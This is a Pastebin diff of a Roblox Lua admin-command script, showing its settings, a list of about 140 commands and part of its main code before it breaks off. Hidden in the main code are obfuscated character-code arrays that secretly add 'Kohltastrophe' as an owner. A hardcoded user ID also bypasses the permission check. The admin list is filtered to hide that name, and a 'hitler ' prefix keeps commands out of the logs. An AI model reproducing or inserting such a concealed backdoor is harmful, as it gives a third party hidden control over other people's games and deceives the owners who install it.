View difference between Paste ID: ZzFqAkua and AnKW6Uyz
SHOW: | | - or go back to the newest paste.
1-
local owners = {"aka_panda!"} -- Are able to set admins who can ban/etc... using :pa name
1+
local owners = {"aka_panda"} -- Are able to set admins who can ban/etc... using :pa name
2
local admins = {"Kohltastrophe"} -- Sets admins who can use ban/kick/admin or shutdown
3
local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
4
local banland = {"MasterKhaos"} -- Permanently Bans people
5
local prefix = ":" -- If you wanna change how your commands start ':'kill noob
6
local AutoUpdate = true -- Set to false if you don't want it to automatically update
7
local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
8
---------------------
9
--    VIP Admin    --
10
---------------------
11
local VipAdmin = false -- If someone can have admin for owning an item
12
local ItemId = 0 -- The item they must own in order to have admin
13
---------------------
14
--   Group Admin   --
15
---------------------
16
local GroupAdmin = false -- If a certain group can have admin
17
local GroupId = 0 -- Sets the group id that can have admin
18
local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
19
---------------------
20
-- Tips and Tricks --
21
---------------------
22
--[[
23
With this admin you can do a command on multiple people at a time;
24
         :kill me,noob1,noob2,random,team-raiders,nonadmins
25
 
26
You can also use a variety commands for different people;
27
         all
28
         others
29
         me
30
         team-
31
         admins
32
         nonadmins
33
         random
34
--]]
35
---------------------
36
--    Commands     --
37
---------------------
38
--[[
39
-- |Temp Admin Commands| --
40
0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
41
1. :s print("Hello World") -- Lets you script normally
42
2. :ls print("Hello World") -- Lets you script in localscripts
43
3. :clear -- Will remove all scripts/localscripts and jails
44
4. :m Hello People -- This commands will let you shout a message to everyone on the server
45
5. :kill kohl -- Kills the player
46
6. :respawn kohl -- Respawns the player
47
7. :trip kohl -- Trips the player
48
8. :stun kohl -- Stuns the player
49
9. :unstun kohl -- Unstuns the player
50
10. :jump kohl -- Makes the player jump
51
11. :sit kohl -- Makes the player sit
52
12. :invisible kohl -- Makes the player invisible
53
13. :visible kohl -- Makes the player visible
54
14. :explode kohl -- Makes the player explode
55
15. :fire kohl -- Sets the player on fire
56
16. :unfire kohl -- Removes fire from the player
57
17. :smoke kohl -- Adds smoke to the player
58
18. :unsmoke kohl -- Removes smoke from the player
59
19. :sparkles kohl -- Adds sparkles to the player
60
20. :unsparkles kohl -- Removes sparkles from the player
61
21. :ff kohl -- Adds a forcefield to the player
62
22. :unff kohl -- Removes the forcefield from the player
63
23. :punish kohl -- Punishes the player
64
24. :unpunish kohl -- Unpunishes the player
65
25. :freeze kohl -- Freezes the player
66
26. :thaw kohl -- Thaws the player
67
27. :heal kohl -- Heals the player
68
28. :god kohl -- Makes the player have infinite health
69
29. :ungod kohl -- Makes the player have 100 health
70
30. :ambient .5 .5 .5 -- Changes the ambient
71
31. :brightness .5 -- Changes the brightness
72
32. :time 12 -- Changes the time
73
33. :fogcolor .5 .5 .5 -- Changes the fogcolor
74
34. :fogend 100 -- Changes the fogend
75
35. :fogstart 100 -- Changes the fogstart
76
36. :removetools kohl -- Removes all tools from the player
77
37. :btools kohl -- Gives the player building tools
78
38. :give kohl sword -- Gives the player a tool
79
39. :damage kohl -- Damages the player
80
40. :grav kohl -- Sets the player's gravity to normal
81
41. :setgrav kohl 100 -- Sets the player's gravity
82
42. :nograv kohl -- Makes the player have 0 gravity
83
43. :health kohl 1337 -- Changes the player's health
84
44. :speed kohl 1337 -- Changes the player's walkspeed
85
45. :name kohl potato -- Changes the player's name
86
46. :unname kohl -- Remove the player's name
87
47. :team kohl Raiders -- Changes the player's team
88
48. :stopmusic -- Will stop all music playing in the server
89
49. :teleport kohl potato -- Teleports the player
90
50. :change kohl kills 1337 -- Changes a player's stat
91
51. :kick kohl -- Removes the player from the game
92
52. :infect kohl -- Turns the player into a zombie
93
53. :rainbowify kohl -- Turns the player into a rainbow
94
54. :flashify kohl -- Turns the player into a strobe
95
55. :noobify kohl -- Turns the player into a noob
96
56. :ghostify kohl -- Turns the player into a ghost
97
57. :goldify kohl -- Turns the player into gold
98
58. :shiny kohl -- Makes the player shiny
99
59. :normal kohl -- Puts the player back to normal
100
60. :trippy kohl -- Spams random colors on the player's screen
101
61. :untrippy kohl -- Untrippys the player
102
62. :strobe kohl -- Spams white and black on the player's screen
103
63. :unstrobe kohl -- Unstrobes the player
104
64. :blind kohl -- Blinds the player
105
65. :unblind kohl -- Unblinds the player
106
66. :guifix kohl -- Will fix trippy/strobe/blind on a player
107
67. :fling kohl -- Flings the player
108
68. :seizure kohl -- Puts the player in a seizure
109
69. :music 1337 -- Plays a sound from the ID
110
70. :lock kohl -- Locks the player
111
71. :unlock kohl -- Unlocks the player
112
72. :removelimbs kohl -- Removes the player's limbs
113
73. :jail kohl -- Puts the player in a jail
114
74. :unjail kohl -- Removes the jail from the player
115
75. :fix -- This will fix the lighting to it's original settings
116
76. :fly kohl -- Makes the player fly
117
77. :unfly kohl -- Removes fly from the player
118
78. :noclip kohl -- Makes the player able to noclip
119
79. :clip kohl -- Removes noclipping from the player
120
80. :pm kohl Hey bro -- Sends the player a private message
121
81. :dog kohl -- Turns the player into a dog
122
82. :undog kohl -- Turns the player back to normal
123
83. :creeper kohl -- Turns the player into a creeper
124
84. :uncreeper kohl -- Turns the player back to normal
125
85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
126
86. :char kohl 261 -- Will make a player look like a different player ID
127
87. :unchar kohl -- Will return the player back to normal
128
88. :h Hello People -- This will shout a hint to everyone
129
89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
130
90. :starttools kohl -- Will give the player starter tools
131
91. :sword kohl -- Will give the player a sword
132
92. :bighead kohl -- Will make the player's head larger than normal
133
93. :minihead kohl -- Will make the player's head smaller than normal
134
94. :insert 1337 -- Will insert a model at the speaker's position
135
95. :disco -- Will make the server flash random colors
136
96. :flash -- Will make the server flash
137
97. :admins -- Shows the admin list
138
98. :bans -- Shows the banlist
139
99. :musiclist -- Shows the music list
140
100. :spin kohl -- Spins the player
141
101. :cape kohl Really black -- Gives the player a colored cape
142
102. :uncape kohl -- Removes the player's cape
143
103. :loopheal kohl -- Will constantly heal the player
144
104. :loopfling kohl -- Will constantly fling the player
145
105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
146
106. :unloopheal kohl -- Will remove the loopheal on the player
147
107. :unloopfling kohl -- Will remove the loopfling on the player
148
108. :unspin kohl -- Removes spin from the player
149
109. :tools -- Gives a list of the tools in the lighting
150
110. :undisco -- Removes disco effects
151
111. :unflash -- Removes flash effects
152
112. :resetstats kohl -- Sets all the stats of a player to 0
153
113. :gear kohl 1337 -- Gives a player a gear
154
114. :cmdbar -- Gives the speaker a command bar
155
115. :shirt kohl 1337 -- Changes the player's shirt
156
116. :pants kohl 1337 -- Changes the player's pants
157
117. :face kohl 1337 -- Changes the player's face
158
118. :swagify kohl -- Swagifies the player
159
119. :version -- Shows the current version of the admin
160
120. :tm 1337 yolo -- Shows a message for 1337 seconds
161
121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
162
122. :clone kohl -- Creates a clone of the player
163
123. :lsplr kohl print("yolo") -- Creates a localscript inside of a player
164
124. :startergive kohl epic -- Gives a player a gear in their starterpack
165
125. :control kohl -- Controls a player
166
 
167
-- |Admin Commands| --
168
- :serverlock -- Locks the server
169
- :serverunlock -- Unlocks the server
170
- :sm Hello World -- Creates a system message
171
- :crash kohl -- Crashes a player
172
- :admin kohl -- Admins a player
173
- :unadmin kohl -- Unadmins a player
174
- :ban kohl -- Bans a player
175
- :unban kohl -- Unbans a player
176
- :loopkill kohl -- Will constantly kill the player
177
- :unloopkill kohl -- Will remove the loopkill on the player
178
- :logs -- Will show all of the commands any admin has used in a game session
179
- :shutdown -- Shutsdown the server
180
 
181
-- |Owner Commands| --
182
- :pa kohl -- Makes someone a super admin
183
- :unpa kohl -- Removes a super admin
184
- :nuke kohl -- Creates a nuke on kohl
185
 
186
-- |True Owner Commands| --
187
- :oa kohl -- Makes someone an owner
188
- :unoa kohl -- Removes an owner
189
- :settings -- Shows settings for the commands
190
--]]
191
---------------------
192
--   Main Script   --
193
---------------------
194
for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
195
 
196
function CHEESE()
197
if game:service("Lighting"):findFirstChild("KACV2") then
198
owners = {} admins = {} tempadmins = {} banland = {}
199
for i,v in pairs(game.Lighting.KACV2:children()) do
200
if v.Name == "Owner" then table.insert(owners, v.Value) end
201
if v.Name == "Admin" then table.insert(admins, v.Value) end
202
if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
203
if v.Name == "Banland" then table.insert(banland, v.Value) end
204
if v.Name == "Prefix" then prefix = v.Value end
205
if v.Name == "FunCommands" then FunCommands = v.Value end
206
if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
207
if v.Name == "GroupId" then GroupId = v.Value end
208
if v.Name == "GroupRank" then GroupRank = v.Value end
209
if v.Name == "VipAdmin" then VipAdmin = v.Value end
210
if v.Name == "ItemId" then ItemId = v.Value end
211
end
212
game:service("Lighting"):findFirstChild("KACV2"):Destroy()
213
end
214
 
215
local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
216
local lobjs = {}
217
local objects = {}
218
local logs = {}
219
local nfs = ""
220
local slock = false
221
 
222
function GetTime()
223
local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
224
if min < 10 then min = "0"..min end
225
return hour..":"..min
226
end
227
 
228
function ChkOwner(str)
229
for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
230
return false
231
end
232
 
233
function ChkAdmin(str,ck)
234
for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
235
for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
236
for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
237
return false
238
end
239
 
240
function ChkGroupAdmin(plr)
241
if GroupAdmin then
242
if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
243
return false
244
end
245
end
246
 
247
function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
248
 
249
function GetPlr(plr, str)
250
local plrz = {} str = str:lower()
251
if str == "all" then plrz = game.Players:children()
252
elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
253
else
254
local sn = {1} local en = {}
255
for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
256
for x = 1, #sn do
257
if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
258
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
259
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
260
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
261
elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
262
if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
263
for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
264
end end end
265
elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
266
if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
267
for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
268
end end end
269
else
270
for a, plyr in pairs(game.Players:children()) do
271
if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
272
table.insert(plrz, plyr) break
273
end
274
end
275
end
276
end
277
end
278
return plrz
279
end
280
 
281
function Hint(str, plrz, time)
282
for i, v in pairs(plrz) do
283
if v and v:findFirstChild("PlayerGui") then
284
coroutine.resume(coroutine.create(function()
285
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
286
local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
287
local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
288
coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
289
if not time then wait((#str/19)+2.5) else wait(time) end
290
coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end))
291
end))
292
end
293
end
294
end
295
 
296
function Message(ttl, str, scroll, plrz, time)
297
for i, v in pairs(plrz) do
298
if v and v:findFirstChild("PlayerGui") then
299
coroutine.resume(coroutine.create(function()
300
local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
301
local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
302
local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
303
local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
304
scr.Parent = v.PlayerGui
305
coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
306
if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
307
else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
308
coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
309
end))
310
end
311
end
312
end
313
 
314
function RemoveMessage()
315
for i,v in pairs(game.Players:children()) do
316
if v and v:findFirstChild("PlayerGui") then
317
for q,ms in pairs(v.PlayerGui:children()) do
318
if ms.Name == "MessageGUI" then
319
coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
320
elseif ms.Name == "HintGUI" then
321
coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
322
end
323
end
324
end
325
end
326
end
327
 
328
_G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
329
_G["RemoveMessage"] = RemoveMessage()
330
 
331
function Output(str, plr)
332
coroutine.resume(coroutine.create(function()
333
local b, e = loadstring(str)
334
if not b and plr:findFirstChild("PlayerGui") then
335
local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
336
local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
337
local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)")  err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
338
return
339
end
340
end))
341
end
342
 
343
function Noobify(char)
344
if char and char:findFirstChild("Torso") then
345
if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
346
if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
347
for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
348
local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
349
for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
350
prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
351
if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
352
local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
353
cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
354
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
355
end end
356
end
357
end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
358
 
359
function Infect(char)
360
if char and char:findFirstChild("Torso") then
361
if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
362
if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
363
for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
364
local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
365
for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
366
prt.Transparency = 0 prt.Reflectance = 0  prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
367
local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
368
cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
369
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
370
end end
371
end
372
end if not ntab then script:Destroy() end
373
 
374
function ScrollGui()
375
local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
376
local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
377
drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
378
local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
379
local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
380
local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
381
local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
382
local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
383
local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
384
local num = 0
385
local downv = false
386
local upv = false
387
 
388
down.MouseButton1Down:connect(function() downv = true upv = false
389
local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
390
repeat  pos = pos + UDim2.new(0,0,0,-6)
391
if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
392
cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
393
end)
394
down.MouseButton1Up:connect(function() downv = false end)
395
up.MouseButton1Down:connect(function() upv = true downv = false
396
local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
397
repeat  pos = pos + UDim2.new(0,0,0,6)
398
if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
399
cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
400
end)
401
up.MouseButton1Up:connect(function() upv = false end)
402
return scr, cmf, ent, num
403
end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
404
if not ntab then script:Destroy() end
405
if not bct then script:Destroy() end
406
 
407
function Chat(msg,plr)
408
coroutine.resume(coroutine.create(function()
409
if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
410
if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
411
if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
412
if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
413
if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
414
if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
415
if msg:lower() == "cmds" or msg:lower() == "commands" then
416
if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
417
local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
418
local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","lsplr plr code","startergive plr tool","control plr"}
419
local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
420
local ost = {"pa plr","unpa plr","nuke plr"}
421
local tost = {"oa plr","unoa plr","settings"}
422
local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
423
for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
424
if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
425
if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
426
if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
427
end
428
 
429
if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end
430
 
431
if msg:lower() == "admins" or msg:lower() == "adminlist" then
432
if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
433
local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
434
for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
435
for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
436
for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
437
end end
438
 
439
if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
440
if plr.PlayerGui:findFirstChild("BANSGUI") then return end
441
local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
442
for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
443
end
444
 
445
if msg:lower() == "tools" or msg:lower() == "toollist" then
446
if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
447
local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
448
for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
449
end
450
 
451
if msg:lower():sub(1,2) == "s " then
452
coroutine.resume(coroutine.create(function()
453
Output(msg:sub(3), plr)
454
